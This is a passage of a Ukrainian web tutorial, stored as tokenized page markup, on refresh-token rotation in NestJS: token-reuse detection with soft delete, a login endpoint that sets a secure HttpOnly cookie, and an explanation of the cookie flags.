Token\n",[5274,11707,11709,11711,11713,11715,11717,11719,11721],{"class":5276,"line":11708},93,[5274,11710,9542],{"class":5605},[5274,11712,5656],{"class":5287},[5274,11714,5302],{"class":5295},[5274,11716,11150],{"class":5305},[5274,11718,5302],{"class":5295},[5274,11720,6351],{"class":5311},[5274,11722,6354],{"class":5295},[5274,11724,11726,11728,11730,11732,11734,11736,11738],{"class":5276,"line":11725},94,[5274,11727,11161],{"class":5305},[5274,11729,6285],{"class":5295},[5274,11731,11166],{"class":5305},[5274,11733,5327],{"class":5305},[5274,11735,5302],{"class":5295},[5274,11737,5332],{"class":5305},[5274,11739,5347],{"class":5295},[5274,11741,11743,11745,11747],{"class":5276,"line":11742},95,[5274,11744,11175],{"class":5305},[5274,11746,11643],{"class":5305},[5274,11748,5443],{"class":5295},[5274,11750,11752,11755,11757],{"class":5276,"line":11751},96,[5274,11753,11754],{"class":5305},"      expiresAt:",[5274,11756,11657],{"class":5305},[5274,11758,5443],{"class":5295},[5274,11760,11762,11765,11767,11769],{"class":5276,"line":11761},97,[5274,11763,11764],{"class":5305},"      lastUsedAt:",[5274,11766,5631],{"class":5287},[5274,11768,6386],{"class":5311},[5274,11770,8695],{"class":5295},[5274,11772,11774,11777],{"class":5276,"line":11773},98,[5274,11775,11776],{"class":5305},"      ipAddress",[5274,11778,5443],{"class":5295},[5274,11780,11782],{"class":5276,"line":11781},99,[5274,11783,9528],{"class":5295},[5274,11785,11787],{"class":5276,"line":11786},100,[5274,11788,5577],{"emptyLinePlaceholder":5576},[5274,11790,11792,11794],{"class":5276,"line":11791},101,[5274,11793,8457],{"class":5605},[5274,11795,7239],{"class":5295},[5274,11797,11799,11802,11804],{"class":5276,"line":11798},102,[5274,11800,11801],{"class":5305},"      accessToken:",[5274,11803,8171],{"class":5305},[5274,11805,5443],{"class":5295},[5274,11807,11809,11812,11814],{"class":5276,"line":11808},103,[5274,11810,11811],{"class":5305},"      refreshToken:",[5274,11813,11643],{"class":5305},[5274,11815,5443],{"class":5295},[5274,11817,11819,11821,11823],{"class":5276,"line":11818},104,[5274,11820,11057],{"class":5305},[5274,11822,11221],{"class":6196},[5274,11824,5443],{"class":5295},[5274,11826,11828],{"class":5276,"line":11827},105,[5274,11829,11231],{"class":5295},[5274,11831,11833],{"class":5276,"line":11832},106,[5274,11834,5647],{"class":5295},[5274,11836,11838],{"class":5276,"line":11837},107,[5274,11839,5577],{"emptyLinePlaceholder":5576},[5274,11841,11843],{"class":5276,"line":11842},108,[5274,11844,9389],{"class":5280},[5274,11846,11848],{"class":5276,"line":11847},109,[5274,11849,11850],{"class":5280},"   * Обробка спроби повторного використання токена\n",[5274,11852,11854],{"class":5276,"line":11853},110,[5274,11855,9399],{"class":5280},[5274,11857,11859,11861,11864,11867,11869,11871,11873,11875,11877,11879,11881,11883],{"class":5276,"line":11858},111,[5274,11860,10851],{"class":5287},[5274,11862,11863],{"class":5287}," async",[5274,11865,11866],{"class":5311}," handleTokenReuse",[5274,11868,5414],{"class":5295},[5274,11870,5132],{"class":5305},[5274,11872,5595],{"class":5295},[5274,11874,5568],{"class":5567},[5274,11876,5129],{"class":5295},[5274,11878,8542],{"class":5305},[5274,11880,11275],{"class":5295},[5274,11882,5568],{"class":5567},[5274,11884,5600],{"class":5295},[5274,11886,11888],{"class":5276,"line":11887},112,[5274,11889,11890],{"class":5280},"    \u002F\u002F Пошук у історії використаних токенів (якщо зберігаємо історію)\n",[5274,11892,11894,11896,11899,11901,11903,11905,11907,11909,11911,11913],{"class":5276,"line":11893},113,[5274,11895,7855],{"class":5287},[5274,11897,11898],{"class":5291}," historicalToken",[5274,11900,5296],{"class":5295},[5274,11902,5770],{"class":5605},[5274,11904,5656],{"class":5287},[5274,11906,5302],{"class":5295},[5274,11908,11150],{"class":5305},[5274,11910,5302],{"class":5295},[5274,11912,11306],{"class":5311},[5274,11914,6354],{"class":5295},[5274,11916,11918,11920,11922,11924],{"class":5276,"line":11917},114,[5274,11919,11313],{"class":5305},[5274,11921,6285],{"class":5295},[5274,11923,5132],{"class":5305},[5274,11925,5347],{"class":5295},[5274,11927,11929,11932,11934,11936],{"class":5276,"line":11928},115,[5274,11930,11931],{"class":5305},"      withDeleted:",[5274,11933,7599],{"class":5287},[5274,11935,5129],{"class":5295},[5274,11937,11938],{"class":5280},"\u002F\u002F Включає видалені записи\n",[5274,11940,11942,11944,11946,11948],{"class":5276,"line":11941},116,[5274,11943,11327],{"class":5305},[5274,11945,11330],{"class":5295},[5274,11947,11333],{"class":5358},[5274,11949,6174],{"class":5295},[5274,11951,11953],{"class":5276,"line":11952},117,[5274,11954,9528],{"class":5295},[5274,11956,11958],{"class":5276,"line":11957},118,[5274,11959,5577],{"emptyLinePlaceholder":5576},[5274,11961,11963,11965,11967,11970],{"class":5276,"line":11962},119,[5274,11964,7883],{"class":5605},[5274,11966,5509],{"class":5295},[5274,11968,11969],{"class":5305},"historicalToken",[5274,11971,5600],{"class":5295},[5274,11973,11975,11978,11980,11982,11984,11987,11989,11991,11994,11996,11998,12000,12002,12005,12007,12009,12011,12013],{"class":5276,"line":11974},120,[5274,11976,11977],{"class":5305},"      console",[5274,11979,5302],{"class":5295},[5274,11981,7844],{"class":5311},[5274,11983,5414],{"class":5295},[5274,11985,11986],{"class":5358},"`🚨 Token reuse detected for user ",[5274,11988,8000],{"class":5287},[5274,11990,11969],{"class":5305},[5274,11992,5302],{"class":11993},"sD7JJ",[5274,11995,5808],{"class":5305},[5274,11997,5302],{"class":11993},[5274,11999,5332],{"class":5305},[5274,12001,8005],{"class":5287},[5274,12003,12004],{"class":5358}," from IP ",[5274,12006,8000],{"class":5287},[5274,12008,8542],{"class":5305},[5274,12010,8005],{"class":5287},[5274,12012,8008],{"class":5358},[5274,12014,5371],{"class":5295},[5274,12016,12018],{"class":5276,"line":12017},121,[5274,12019,5577],{"emptyLinePlaceholder":5576},[5274,12021,12023],{"class":5276,"line":12022},122,[5274,12024,12025],{"class":5280},"      \u002F\u002F Інвалідація ВСІХ токенів користувача\n",[5274,12027,12029,12031,12033,12035,12037,12039,12041,12043,12046,12048,12050,12052,12054,12056,12058,12060],{"class":5276,"line":12028},123,[5274,12030,9935],{"class":5605},[5274,12032,5656],{"class":5287},[5274,12034,5302],{"class":5295},[5274,12036,11150],{"class":5305},[5274,12038,5302],{"class":5295},[5274,12040,11445],{"class":5311},[5274,12042,5459],{"class":5295},[5274,12044,12045],{"class":5305},"user:",[5274,12047,6285],{"class":5295},[5274,12049,11166],{"class":5305},[5274,12051,11898],{"class":5305},[5274,12053,5302],{"class":5295},[5274,12055,5808],{"class":5305},[5274,12057,5302],{"class":5295},[5274,12059,5332],{"class":5305},[5274,12061,12062],{"class":5295}," } });\n",[5274,12064,12066],{"class":5276,"line":12065},124,[5274,12067,5577],{"emptyLinePlaceholder":5576},[5274,12069,12071],{"class":5276,"line":12070},125,[5274,12072,12073],{"class":5280},"      \u002F\u002F Опціонально: надіслати email-сповіщення користувачеві\n",[5274,12075,12077],{"class":5276,"line":12076},126,[5274,12078,12079],{"class":5280},"      \u002F\u002F await this.emailService.sendSecurityAlert(historicalToken.user.email, ipAddress);\n",[5274,12081,12083],{"class":5276,"line":12082},127,[5274,12084,5577],{"emptyLinePlaceholder":5576},[5274,12086,12088],{"class":5276,"line":12087},128,[5274,12089,12090],{"class":5280},"      \u002F\u002F Опціонально: логування у систему моніторингу безпеки\n",[5274,12092,12094],{"class":5276,"line":12093},129,[5274,12095,12096],{"class":5280},"      \u002F\u002F await this.securityLogger.logTokenReuse(historicalToken.user.id, token, ipAddress);\n",[5274,12098,12100],{"class":5276,"line":12099},130,[5274,12101,7131],{"class":5295},[5274,12103,12105],{"class":5276,"line":12104},131,[5274,12106,5647],{"class":5295},[5274,12108,12110],{"class":5276,"line":12109},132,[5274,12111,5677],{"class":5295},[12113,12114,12115,12118,12119,12122],"warning",{},[5099,12116,12117],{},"Важливо:"," для коректної роботи reuse detection необхідно або зберігати історію видалених токенів (через soft delete у TypeORM), або використовувати окрему таблицю ",[5122,12120,12121],{},"used_refresh_tokens"," з TTL записів. Без історії система не зможе розрізнити невалідний токен та токен, що був скомпрометований.",[5257,12124,12126],{"id":12125},"soft-delete-для-історії-токенів","Soft Delete для історії токенів",[5265,12128,12130],{"className":5267,"code":12129,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fentities\u002Frefresh-token.entity.ts\nimport { Entity, Column, DeleteDateColumn } from 'typeorm';\n\n@Entity('refresh_tokens')\nexport class RefreshToken {\n  \u002F\u002F ... інші поля\n\n  @DeleteDateColumn()\n  deletedAt?: Date; \u002F\u002F Дата \"видалення\" (soft delete)\n}\n",[5122,12131,12132,12136,12161,12165,12177,12187,12192,12196,12204,12219],{"__ignoreMap":5270},[5274,12133,12134],{"class":5276,"line":5277},[5274,12135,8808],{"class":5280},[5274,12137,12138,12140,12142,12144,12146,12148,12150,12153,12155,12157,12159],{"class":5276,"line":5284},[5274,12139,6282],{"class":5605},[5274,12141,6285],{"class":5295},[5274,12143,8898],{"class":5305},[5274,12145,5129],{"class":5295},[5274,12147,8995],{"class":5305},[5274,12149,5129],{"class":5295},[5274,12151,12152],{"class":5305},"DeleteDateColumn",[5274,12154,5362],{"class":5295},[5274,12156,6293],{"class":5605},[5274,12158,8866],{"class":5358},[5274,12160,5852],{"class":5295},[5274,12162,12163],{"class":5276,"line":5318},[5274,12164,5577],{"emptyLinePlaceholder":5576},[5274,12166,12167,12169,12171,12173,12175],{"class":5276,"line":5350},[5274,12168,8895],{"class":5295},[5274,12170,8898],{"class":5311},[5274,12172,5414],{"class":5295},[5274,12174,8903],{"class":5358},[5274,12176,8906],{"class":5295},[5274,12178,12179,12181,12183,12185],{"class":5276,"line":5368},[5274,12180,8490],{"class":5605},[5274,12182,8913],{"class":5287},[5274,12184,8916],{"class":5567},[5274,12186,7239],{"class":5295},[5274,12188,12189],{"class":5276,"line":5470},[5274,12190,12191],{"class":5280},"  \u002F\u002F ... інші поля\n",[5274,12193,12194],{"class":5276,"line":5644},[5274,12195,5577],{"emptyLinePlaceholder":5576},[5274,12197,12198,12200,12202],{"class":5276,"line":5650},[5274,12199,8923],{"class":5295},[5274,12201,12152],{"class":5311},[5274,12203,9014],{"class":5295},[5274,12205,12206,12209,12211,12213,12216],{"class":5276,"line":5674},[5274,12207,12208],{"class":5305},"  deletedAt",[5274,12210,11275],{"class":5295},[5274,12212,6391],{"class":5567},[5274,12214,12215],{"class":5295},"; ",[5274,12217,12218],{"class":5280},"\u002F\u002F Дата \"видалення\" (soft delete)\n",[5274,12220,12221],{"class":5276,"line":5680},[5274,12222,5677],{"class":5295},[5089,12224,12225,12226,12229,12230,12233,12234,5302],{},"Тепер при виклику ",[5122,12227,12228],{},"refreshTokenRepo.delete()"," запис не видаляється фізично, а отримує мітку ",[5122,12231,12232],{},"deletedAt",". Це дозволяє виявляти спроби reuse через ",[5122,12235,12236],{},"findOne({ withDeleted: true })",[5171,12238],{},[5084,12240,12242],{"id":12241},"реалізація-ендпоінтів-у-контролері","Реалізація ендпоінтів у контролері",[5089,12244,12245],{},"Розглянемо повну реалізацію трьох ключових ендпоінтів: логін, оновлення токенів та вихід.",[5257,12247,12249],{"id":12248},"ендпоінт-post-authlogin","Ендпоінт POST \u002Fauth\u002Flogin",[5265,12251,12253],{"className":5267,"code":12252,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fauth.controller.ts\nimport {\n  Controller,\n  Post,\n  Body,\n  HttpCode,\n  HttpStatus,\n  Res,\n  Req,\n} from '@nestjs\u002Fcommon';\nimport { Response, Request } from 'express';\nimport { AuthService } from '.\u002Fauth.service';\nimport { LoginDto } from '.\u002Fdto\u002Flogin.dto';\n\n@Controller('auth')\nexport class AuthController {\n  constructor(private readonly authService: AuthService) {}\n\n  @Post('login')\n  @HttpCode(HttpStatus.OK)\n  async login(\n    @Body() dto: LoginDto,\n    @Res({ passthrough: true }) response: Response,\n    @Req() request: Request,\n  ) {\n    \u002F\u002F Валідація credentials та генерація токенів\n    const result = await this.authService.login(\n      dto.email,\n      dto.password,\n      request.ip,\n      request.headers['user-agent'],\n    );\n\n    \u002F\u002F Встановлення Refresh Token у HttpOnly Cookie\n    response.cookie('refreshToken', result.refreshToken, {\n      httpOnly: true,        \u002F\u002F ❌ JavaScript не може прочитати\n      secure: true,          \u002F\u002F ✅ Лише через HTTPS\n      sameSite: 'strict',    \u002F\u002F ✅ Захист від CSRF\n      maxAge: 7 * 24 * 60 * 60 * 1000, \u002F\u002F 7 днів у мілісекундах\n      path: '\u002Fauth\u002Frefresh', \u002F\u002F ✅ Cookie надсилається лише на \u002Fauth\u002Frefresh\n    });\n\n    return {\n      statusCode: HttpStatus.OK,\n      message: 'Login successful',\n      data: {\n        accessToken: result.accessToken,\n        tokenType: 'Bearer',\n        expiresIn: result.expiresIn,\n        user: result.user,\n        \u002F\u002F ❌ НЕ повертаємо Refresh Token у body — він у Cookie\n      },\n    };\n  }\n}\n",[5122,12254,12255,12260,12266,12273,12280,12287,12294,12301,12308,12315,12325,12348,12366,12384,12388,12402,12413,12432,12436,12450,12469,12478,12496,12521,12539,12544,12549,12574,12585,12596,12608,12623,12628,12632,12637,12664,12677,12690,12704,12733,12746,12750,12754,12760,12774,12784,12791,12804,12814,12827,12840,12845,12850,12854,12858],{"__ignoreMap":5270},[5274,12256,12257],{"class":5276,"line":5277},[5274,12258,12259],{"class":5280},"\u002F\u002F src\u002Fauth\u002Fauth.controller.ts\n",[5274,12261,12262,12264],{"class":5276,"line":5284},[5274,12263,6282],{"class":5605},[5274,12265,7239],{"class":5295},[5274,12267,12268,12271],{"class":5276,"line":5318},[5274,12269,12270],{"class":5305},"  Controller",[5274,12272,5443],{"class":5295},[5274,12274,12275,12278],{"class":5276,"line":5350},[5274,12276,12277],{"class":5305},"  Post",[5274,12279,5443],{"class":5295},[5274,12281,12282,12285],{"class":5276,"line":5368},[5274,12283,12284],{"class":5305},"  Body",[5274,12286,5443],{"class":5295},[5274,12288,12289,12292],{"class":5276,"line":5470},[5274,12290,12291],{"class":5305},"  HttpCode",[5274,12293,5443],{"class":5295},[5274,12295,12296,12299],{"class":5276,"line":5644},[5274,12297,12298],{"class":5305},"  HttpStatus",[5274,12300,5443],{"class":5295},[5274,12302,12303,12306],{"class":5276,"line":5650},[5274,12304,12305],{"class":5305},"  Res",[5274,12307,5443],{"class":5295},[5274,12309,12310,12313],{"class":5276,"line":5674},[5274,12311,12312],{"class":5305},"  Req",[5274,12314,5443],{"class":5295},[5274,12316,12317,12319,12321,12323],{"class":5276,"line":5680},[5274,12318,8861],{"class":5295},[5274,12320,6293],{"class":5605},[5274,12322,9293],{"class":5358},[5274,12324,5852],{"class":5295},[5274,12326,12327,12329,12331,12334,12336,12339,12341,12343,12346],{"class":5276,"line":5685},[5274,12328,6282],{"class":5605},[5274,12330,6285],{"class":5295},[5274,12332,12333],{"class":5305},"Response",[5274,12335,5129],{"class":5295},[5274,12337,12338],{"class":5305},"Request",[5274,12340,5362],{"class":5295},[5274,12342,6293],{"class":5605},[5274,12344,12345],{"class":5358}," 'express'",[5274,12347,5852],{"class":5295},[5274,12349,12350,12352,12354,12357,12359,12361,12364],{"class":5276,"line":5691},[5274,12351,6282],{"class":5605},[5274,12353,6285],{"class":5295},[5274,12355,12356],{"class":5305},"AuthService",[5274,12358,5362],{"class":5295},[5274,12360,6293],{"class":5605},[5274,12362,12363],{"class":5358}," '.\u002Fauth.service'",[5274,12365,5852],{"class":5295},[5274,12367,12368,12370,12372,12375,12377,12379,12382],{"class":5276,"line":5855},[5274,12369,6282],{"class":5605},[5274,12371,6285],{"class":5295},[5274,12373,12374],{"class":5305},"LoginDto",[5274,12376,5362],{"class":5295},[5274,12378,6293],{"class":5605},[5274,12380,12381],{"class":5358}," '.\u002Fdto\u002Flogin.dto'",[5274,12383,5852],{"class":5295},[5274,12385,12386],{"class":5276,"line":5860},[5274,12387,5577],{"emptyLinePlaceholder":5576},[5274,12389,12390,12392,12395,12397,12400],{"class":5276,"line":5865},[5274,12391,8895],{"class":5295},[5274,12393,12394],{"class":5311},"Controller",[5274,12396,5414],{"class":5295},[5274,12398,12399],{"class":5358},"'auth'",[5274,12401,8906],{"class":5295},[5274,12403,12404,12406,12408,12411],{"class":5276,"line":6032},[5274,12405,8490],{"class":5605},[5274,12407,8913],{"class":5287},[5274,12409,12410],{"class":5567}," AuthController",[5274,12412,7239],{"class":5295},[5274,12414,12415,12417,12419,12421,12423,12426,12428,12430],{"class":5276,"line":6038},[5274,12416,9355],{"class":5287},[5274,12418,5414],{"class":5295},[5274,12420,9366],{"class":5287},[5274,12422,9369],{"class":5287},[5274,12424,12425],{"class":5305}," authService",[5274,12427,5595],{"class":5295},[5274,12429,12356],{"class":5567},[5274,12431,9380],{"class":5295},[5274,12433,12434],{"class":5276,"line":6044},[5274,12435,5577],{"emptyLinePlaceholder":5576},[5274,12437,12438,12440,12443,12445,12448],{"class":5276,"line":6050},[5274,12439,8923],{"class":5295},[5274,12441,12442],{"class":5311},"Post",[5274,12444,5414],{"class":5295},[5274,12446,12447],{"class":5358},"'login'",[5274,12449,8906],{"class":5295},[5274,12451,12452,12454,12457,12459,12462,12464,12467],{"class":5276,"line":6947},[5274,12453,8923],{"class":5295},[5274,12455,12456],{"class":5311},"HttpCode",[5274,12458,5414],{"class":5295},[5274,12460,12461],{"class":5305},"HttpStatus",[5274,12463,5302],{"class":5295},[5274,12465,12466],{"class":5291},"OK",[5274,12468,8906],{"class":5295},[5274,12470,12471,12473,12476],{"class":5276,"line":6953},[5274,12472,7839],{"class":5287},[5274,12474,12475],{"class":5311}," login",[5274,12477,5315],{"class":5295},[5274,12479,12480,12482,12485,12487,12490,12492,12494],{"class":5276,"line":6959},[5274,12481,10909],{"class":5295},[5274,12483,12484],{"class":5311},"Body",[5274,12486,9363],{"class":5295},[5274,12488,12489],{"class":5305},"dto",[5274,12491,5595],{"class":5295},[5274,12493,12374],{"class":5567},[5274,12495,5443],{"class":5295},[5274,12497,12498,12500,12503,12505,12508,12510,12513,12515,12517,12519],{"class":5276,"line":6965},[5274,12499,10909],{"class":5295},[5274,12501,12502],{"class":5311},"Res",[5274,12504,5459],{"class":5295},[5274,12506,12507],{"class":5305},"passthrough:",[5274,12509,7599],{"class":5287},[5274,12511,12512],{"class":5295}," }) ",[5274,12514,7808],{"class":5305},[5274,12516,5595],{"class":5295},[5274,12518,12333],{"class":5567},[5274,12520,5443],{"class":5295},[5274,12522,12523,12525,12528,12530,12533,12535,12537],{"class":5276,"line":6971},[5274,12524,10909],{"class":5295},[5274,12526,12527],{"class":5311},"Req",[5274,12529,9363],{"class":5295},[5274,12531,12532],{"class":5305},"request",[5274,12534,5595],{"class":5295},[5274,12536,12338],{"class":5567},[5274,12538,5443],{"class":5295},[5274,12540,12541],{"class":5276,"line":6977},[5274,12542,12543],{"class":5295},"  ) {\n",[5274,12545,12546],{"class":5276,"line":6983},[5274,12547,12548],{"class":5280},"    \u002F\u002F Валідація credentials та генерація токенів\n",[5274,12550,12551,12553,12556,12558,12560,12562,12564,12567,12569,12572],{"class":5276,"line":6989},[5274,12552,7855],{"class":5287},[5274,12554,12555],{"class":5291}," result",[5274,12557,5296],{"class":5295},[5274,12559,5770],{"class":5605},[5274,12561,5656],{"class":5287},[5274,12563,5302],{"class":5295},[5274,12565,12566],{"class":5305},"authService",[5274,12568,5302],{"class":5295},[5274,12570,12571],{"class":5311},"login",[5274,12573,5315],{"class":5295},[5274,12575,12576,12579,12581,12583],{"class":5276,"line":7514},[5274,12577,12578],{"class":5305},"      dto",[5274,12580,5302],{"class":5295},[5274,12582,5344],{"class":5305},[5274,12584,5443],{"class":5295},[5274,12586,12587,12589,12591,12594],{"class":5276,"line":7520},[5274,12588,12578],{"class":5305},[5274,12590,5302],{"class":5295},[5274,12592,12593],{"class":5305},"password",[5274,12595,5443],{"class":5295},[5274,12597,12598,12601,12603,12606],{"class":5276,"line":7526},[5274,12599,12600],{"class":5305},"      request",[5274,12602,5302],{"class":5295},[5274,12604,12605],{"class":5305},"ip",[5274,12607,5443],{"class":5295},[5274,12609,12610,12612,12614,12616,12618,12621],{"class":5276,"line":7919},[5274,12611,12600],{"class":5305},[5274,12613,5302],{"class":5295},[5274,12615,7988],{"class":5305},[5274,12617,8242],{"class":5295},[5274,12619,12620],{"class":5358},"'user-agent'",[5274,12622,6174],{"class":5295},[5274,12624,12625],{"class":5276,"line":7932},[5274,12626,12627],{"class":5295},"    );\n",[5274,12629,12630],{"class":5276,"line":7938},[5274,12631,5577],{"emptyLinePlaceholder":5576},[5274,12633,12634],{"class":5276,"line":7960},[5274,12635,12636],{"class":5280},"    \u002F\u002F Встановлення Refresh Token у HttpOnly Cookie\n",[5274,12638,12639,12642,12644,12647,12649,12652,12654,12657,12659,12662],{"class":5276,"line":7980},[5274,12640,12641],{"class":5305},"    response",[5274,12643,5302],{"class":5295},[5274,12645,12646],{"class":5311},"cookie",[5274,12648,5414],{"class":5295},[5274,12650,12651],{"class":5358},"'refreshToken'",[5274,12653,5129],{"class":5295},[5274,12655,12656],{"class":5305},"result",[5274,12658,5302],{"class":5295},[5274,12660,12661],{"class":5305},"refreshToken",[5274,12663,5432],{"class":5295},[5274,12665,12666,12669,12671,12674],{"class":5276,"line":8013},[5274,12667,12668],{"class":5305},"      httpOnly:",[5274,12670,7599],{"class":5287},[5274,12672,12673],{"class":5295},",        ",[5274,12675,12676],{"class":5280},"\u002F\u002F ❌ JavaScript не може прочитати\n",[5274,12678,12679,12682,12684,12687],{"class":5276,"line":8029},[5274,12680,12681],{"class":5305},"      secure:",[5274,12683,7599],{"class":5287},[5274,12685,12686],{"class":5295},",          ",[5274,12688,12689],{"class":5280},"\u002F\u002F ✅ Лише через HTTPS\n",[5274,12691,12692,12695,12698,12701],{"class":5276,"line":8035},[5274,12693,12694],{"class":5305},"      sameSite:",[5274,12696,12697],{"class":5358}," 'strict'",[5274,12699,12700],{"class":5295},",    ",[5274,12702,12703],{"class":5280},"\u002F\u002F ✅ Захист від CSRF\n",[5274,12705,12706,12709,12712,12714,12716,12718,12720,12722,12724,12726,12728,12730],{"class":5276,"line":8041},[5274,12707,12708],{"class":5305},"      maxAge:",[5274,12710,12711],{"class":6196}," 7",[5274,12713,6405],{"class":5295},[5274,12715,6408],{"class":6196},[5274,12717,6405],{"class":5295},[5274,12719,6413],{"class":6196},[5274,12721,6405],{"class":5295},[5274,12723,6413],{"class":6196},[5274,12725,6405],{"class":5295},[5274,12727,6422],{"class":6196},[5274,12729,5129],{"class":5295},[5274,12731,12732],{"class":5280},"\u002F\u002F 7 днів у мілісекундах\n",[5274,12734,12735,12738,12741,12743],{"class":5276,"line":8047},[5274,12736,12737],{"class":5305},"      path:",[5274,12739,12740],{"class":5358}," '\u002Fauth\u002Frefresh'",[5274,12742,5129],{"class":5295},[5274,12744,12745],{"class":5280},"\u002F\u002F ✅ Cookie надсилається лише на \u002Fauth\u002Frefresh\n",[5274,12747,12748],{"class":5276,"line":8052},[5274,12749,9528],{"class":5295},[5274,12751,12752],{"class":5276,"line":8069},[5274,12753,5577],{"emptyLinePlaceholder":5576},[5274,12755,12756,12758],{"class":5276,"line":8081},[5274,12757,8457],{"class":5605},[5274,12759,7239],{"class":5295},[5274,12761,12762,12765,12768,12770,12772],{"class":5276,"line":8086},[5274,12763,12764],{"class":5305},"      statusCode:",[5274,12766,12767],{"class":5305}," HttpStatus",[5274,12769,5302],{"class":5295},[5274,12771,12466],{"class":5291},[5274,12773,5443],{"class":5295},[5274,12775,12776,12779,12782],{"class":5276,"line":8094},[5274,12777,12778],{"class":5305},"      message:",[5274,12780,12781],{"class":5358}," 'Login successful'",[5274,12783,5443],{"class":5295},[5274,12785,12786,12789],{"class":5276,"line":8100},[5274,12787,12788],{"class":5305},"      data:",[5274,12790,7239],{"class":5295},[5274,12792,12793,12796,12798,12800,12802],{"class":5276,"line":8125},[5274,12794,12795],{"class":5305},"        accessToken:",[5274,12797,12555],{"class":5305},[5274,12799,5302],{"class":5295},[5274,12801,8184],{"class":5305},[5274,12803,5443],{"class":5295},[5274,12805,12806,12809,12812],{"class":5276,"line":8133},[5274,12807,12808],{"class":5305},"        tokenType:",[5274,12810,12811],{"class":5358}," 'Bearer'",[5274,12813,5443],{"class":5295},[5274,12815,12816,12819,12821,12823,12825],{"class":5276,"line":8139},[5274,12817,12818],{"class":5305},"        expiresIn:",[5274,12820,12555],{"class":5305},[5274,12822,5302],{"class":5295},[5274,12824,9564],{"class":5305},[5274,12826,5443],{"class":5295},[5274,12828,12829,12832,12834,12836,12838],{"class":5276,"line":8155},[5274,12830,12831],{"class":5305},"        user:",[5274,12833,12555],{"class":5305},[5274,12835,5302],{"class":5295},[5274,12837,5808],{"class":5305},[5274,12839,5443],{"class":5295},[5274,12841,12842],{"class":5276,"line":8161},[5274,12843,12844],{"class":5280},"        \u002F\u002F ❌ НЕ повертаємо Refresh Token у body — він у Cookie\n",[5274,12846,12847],{"class":5276,"line":8166},[5274,12848,12849],{"class":5295},"      },\n",[5274,12851,12852],{"class":5276,"line":8189},[5274,12853,11231],{"class":5295},[5274,12855,12856],{"class":5276,"line":8194},[5274,12857,5647],{"class":5295},[5274,12859,12860],{"class":5276,"line":8200},[5274,12861,5677],{"class":5295},[5089,12863,12864],{},[5099,12865,12866],{},"Пояснення параметрів Cookie:",[12868,12869,12870,12886],"table",{},[12871,12872,12873],"thead",{},[12874,12875,12876,12880,12883],"tr",{},[12877,12878,12879],"th",{},"Параметр",[12877,12881,12882],{},"Значення",[12877,12884,12885],{},"Призначення",[12887,12888,12889,12903,12916,12932],"tbody",{},[12874,12890,12891,12897,12900],{},[12892,12893,12894],"td",{},[5122,12895,12896],{},"httpOnly: true",[12892,12898,12899],{},"❌ JavaScript не може читати\u002Fзмінювати Cookie",[12892,12901,12902],{},"Захист від XSS атак — навіть якщо зловмисник ін'єктує скрипт, він не зможе отримати Refresh Token.",[12874,12904,12905,12910,12913],{},[12892,12906,12907],{},[5122,12908,12909],{},"secure: true",[12892,12911,12912],{},"✅ Cookie надсилається лише через HTTPS",[12892,12914,12915],{},"Захист від перехоплення у незашифрованих з'єднаннях.",[12874,12917,12918,12923,12926],{},[12892,12919,12920],{},[5122,12921,12922],{},"sameSite: 'strict'",[12892,12924,12925],{},"Cookie не надсилається у cross-site запитах",[12892,12927,12928,12929,12931],{},"Захист від CSRF атак — зловмисницький сайт не зможе викликати ",[5122,12930,5155],{}," від імені користувача.",[12874,12933,12934,12939,12944],{},[12892,12935,12936],{},[5122,12937,12938],{},"path: '\u002Fauth\u002Frefresh'",[12892,12940,12941,12942],{},"Cookie надсилається лише на ",[5122,12943,5155],{},[12892,12945,12946],{},"Мінімізація поверхні атаки — токен не витікає через інші ендпоінти.",[5257,12948,12950],{"id":12949},"ендпоінт-post-authrefresh","Ендпоінт POST \u002Fauth\u002Frefresh",[5265,12952,12954],{"className":5267,"code":12953,"language":5269,"meta":5270,"style":5270},"\u002F\u002F src\u002Fauth\u002Fauth.controller.ts\n@Post('refresh')\n@HttpCode(HttpStatus.OK)\nasync refresh(\n  @Req() request: Request,\n  @Res({ passthrough: true }) response: Response,\n) {\n  \u002F\u002F Витягування Refresh Token з HttpOnly Cookie\n  const oldRefreshToken = request.cookies?.refreshToken;\n\n  if (!oldRefreshToken) {\n    throw new UnauthorizedException('Refresh token not found');\n  }\n\n  \u002F\u002F Оновлення токенів з rotation\n  const result = await this.authService.refreshTokens(\n    oldRefreshToken,\n    request.ip,\n  );\n\n  \u002F\u002F Встановлення нового Refresh Token у Cookie\n  response.cookie('refreshToken', result.refreshToken, {\n    httpOnly: true,\n    secure: true,\n    sameSite: 'strict',\n    maxAge: 7 * 24 * 60 * 60 * 1000,\n    path: '\u002Fauth\u002Frefresh',\n  });\n\n  return {\n    statusCode: HttpStatus.OK,\n    message: 'Tokens refreshed successfully',\n    data: {\n      accessToken: result.accessToken,\n      tokenType: 'Bearer',\n      expiresIn: result.expiresIn,\n    },\n  };\n}\n",[5122,12955,12956,12960,12973,12989,12998,13014,13036,13040,13045,13066,13070,13080,13095,13099,13103,13108,13131,13138,13149,13154,13158,13163,13186,13195,13204,13213,13238,13247,13251,13255,13261,13274,13284,13291,13303,13311,13323,13328,13332],{"__ignoreMap":5270},[5274,12957,12958],{"class":5276,"line":5277},[5274,12959,12259],{"class":5280},[5274,12961,12962,12964,12966,12968,12971],{"class":5276,"line":5284},[5274,12963,8895],{"class":5295},[5274,12965,12442],{"class":5311},[5274,12967,5414],{"class":5295},[5274,12969,12970],{"class":5358},"'refresh'",[5274,12972,8906],{"class":5295},[5274,12974,12975,12977,12979,12981,12983,12985,12987],{"class":5276,"line":5318},[5274,12976,8895],{"class":5295},[5274,12978,12456],{"class":5311},[5274,12980,5414],{"class":5295},[5274,12982,12461],{"class":5305},[5274,12984,5302],{"class":5295},[5274,12986,12466],{"class":5291},[5274,12988,8906],{"class":5295},[5274,12990,12991,12993,12996],{"class":5276,"line":5350},[5274,12992,5582],{"class":5305},[5274,12994,12995],{"class":5311}," 